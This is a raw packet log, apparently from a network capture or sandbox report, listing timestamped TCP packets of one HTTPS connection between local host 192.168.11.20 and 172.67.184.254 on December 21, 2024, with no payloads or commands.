Dec 21, 2024 19:24:52.680830002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680830002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680927038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.680927992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681026936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681026936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681123972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681123972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681124926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681221008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681221008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681269884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681269884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681288004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.681319952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681320906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681369066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681467056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681467056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681565046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681565046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681565046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681612968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681612968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681662083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681663036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681663036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681710958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681808949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681809902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681838989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.681879997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681879997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681879997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681926966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681926966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.681976080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682025909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682025909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682025909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682126045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682126045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682172060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682224035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682224035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682271004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682271004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682271004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682296991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.682332993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682332993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682380915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682481050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682482004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682528019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682579994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682579994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682626009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682677984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682677984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682677984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682677984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682723999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682794094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682794094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682840109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682888985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682909012 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.682993889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682993889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.682993889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683042049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683042049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683042049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683140993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683140993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683248997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683248997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683295965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683393955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683461905 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.683469057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683548927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683625937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683625937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683672905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683722973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683770895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683820009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683868885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683919907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683919907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683968067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683969021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.683969021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684015989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684032917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.684129000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684129000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684176922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684227943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684325933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684325933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684374094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684374094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684472084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684472084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684509993 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.684570074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684570074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684621096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684621096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684669018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684669018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684716940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684716940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684817076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684817076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684911966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.684977055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.685013056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685013056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685033083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685034037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685132027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685132027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685230017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685230017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685277939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685277939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685328007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685379982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685379982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685379982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685473919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685523033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685571909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685627937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685771942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685806036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.685847998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.685980082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686109066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686240911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686368942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686503887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686630011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686758995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686839104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686840057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686877966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.686960936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.686960936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687010050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687010050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687108040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687108994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687156916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687253952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687304020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687304020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687421083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687500000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687500000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687549114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687597036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687648058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687648058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687648058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687648058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687747002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687747002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687849998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687849998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687901020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687901020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687901020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687949896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687949896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.687995911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688096046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688096046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688096046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688194036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688194036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688241005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688241005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.688291073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.741352081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:52.954268932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:52.954459906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.398271084 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.398519039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441349983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441369057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441379070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441385031 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441589117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441589117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441590071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441615105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441627026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441643000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441690922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441690922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441699028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441704035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441792965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441792965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441808939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441814899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441886902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441886902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441888094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441888094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441904068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441909075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441915989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441926956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441932917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.441975117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.441981077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442023993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442023993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442095041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442106962 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442121983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442121983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442130089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442140102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442171097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442171097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442178965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442184925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442224026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442270041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442270041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442270041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442280054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442367077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442367077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442415953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442465067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442465067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442471981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442513943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442513943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442521095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442564011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442564011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442612886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442612886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442711115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442711115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442807913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442807913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442820072 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.442857981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442857981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442907095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442907095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442955017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.442955971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443053961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443053961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443151951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443151951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443201065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443201065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443252087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443252087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443269014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.443305016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443305016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443394899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443394899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443443060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443541050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443541050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443541050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443588972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443588972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443630934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.443638086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443638086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443686962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443784952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443784952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443799019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.443883896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443885088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443885088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443933010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443933010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443981886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.443981886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444030046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444128990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444128990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444178104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444178104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444276094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444276094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444324970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444324970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444338083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.444374084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444422007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444473028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444473028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444519997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444569111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444569111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444617987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444617987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444667101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444667101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444715977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444813967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444813967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444828987 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.444863081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444911957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444911957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444962025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444962025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.444962025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445010900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445059061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445059061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445158958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445158958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445205927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445255041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445255995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445303917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445353985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445353985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445353985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445369005 CET	443	49766	172.67.184.254	192.168.11.20
